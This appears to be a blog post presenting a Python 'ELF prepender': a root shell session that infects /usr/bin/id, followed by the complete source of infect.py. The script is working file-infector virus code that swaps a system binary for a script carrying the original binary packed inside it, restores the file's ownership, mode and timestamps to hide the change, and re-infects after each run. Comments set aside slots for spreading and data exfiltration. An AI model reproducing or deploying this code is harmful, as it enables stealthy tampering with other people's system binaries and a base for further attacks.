# ELF prepender in python


# ls -lh /usr/bin/id
-rwxr-xr-x 1 root root 34K Jan 14 03:50 /usr/bin/id
# file /usr/bin/id
/usr/bin/id: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=1a041b19449828face10d6ddcf7cffe259196923, stripped
# /usr/bin/id
uid=0(root) gid=0(root) groups=0(root)

# ./infect.py @ /usr/bin/id

# ls -lh /usr/bin/id
-rwxr-xr-x 1 root root 22K Jan 14 03:50 /usr/bin/id
# file /usr/bin/id
/usr/bin/id: Python script, ASCII text executable, with very long lines
# /usr/bin/id
uid=0(root) gid=0(root) groups=0(root)
# ls -lh /usr/bin/id
-rwxr-xr-x 1 root root 22K Jan 14 03:50 /usr/bin/id

# cat infect.py
#!/usr/bin/env python

from base64 import b64decode, b64encode
from os import chmod, chown, execv, fork, path as p, remove, stat, utime, wait
from sys import argv
from zlib import compress, decompress



class IO:

 def __init__(self, path):
  self.path = path
  self.stat = stat(path)
  if self.data is None:
   self.data = self.Encode()

 def Decode(self, data):
  return decompress(b64decode(data))

 def Encode(self):
  with open(self.path, 'rb') as f:
   data = f.read()
  return b64encode(compress(data))

 def WriteToDisk(self, data = None):
  if data == None:
   data = self.Decode(self.data)
  with open(self.path, 'wb') as f:
   f.write(data)
  chown(self.path, self.stat.st_uid, self.stat.st_gid)
  chmod(self.path, self.stat.st_mode)
  utime(self.path, (self.stat.st_atime, self.stat.st_mtime))



class Host(IO):

 def __init__(self, path):
  self.infected = False
  self.data = False
  IO.__init__(self, path)

 def Infected(self):
  infected = 'self.infected = True'
  data = self.Decode(self.Encode())
  if infected in data[:1000]:
   return True
  else:
   return False

 def Run(self, arg):
  execv(arg[0], arg)



class Virus(IO):

 def __init__(self, arg):
  self.arg = arg
  self.data = None
  IO.__init__(self, p.abspath(__file__))

 def InfectHost(self, path):
  host = Host(path)
  if not host.Infected():
   infect = self.Decode(self.Encode())
   infect = infect.replace('False', 'True', 1)
   infect = infect.replace('False', "'" + host.Encode() + "'", 1)
   host.WriteToDisk(infect)

 def Run(self):
  if len(self.arg) > 1 and self.arg[1] == '@':
   self.InfectHost(self.arg[2])
  else:
   # First: Run the host program
   self.RunHost()
   # Second: Do other things like ...
   ## - Find and infect new hosts
   ## - Exfiltrate data
   ## - ...

 def RunHost(self):
  data = self.Encode()
  host = Host(self.path)
  host.WriteToDisk()
  pid = fork()
  if pid == 0:
   host.Run(self.arg)
  else:
   wait()
   self.WriteToDisk()



if __name__ == "__main__": Virus(argv).Run()

No comments: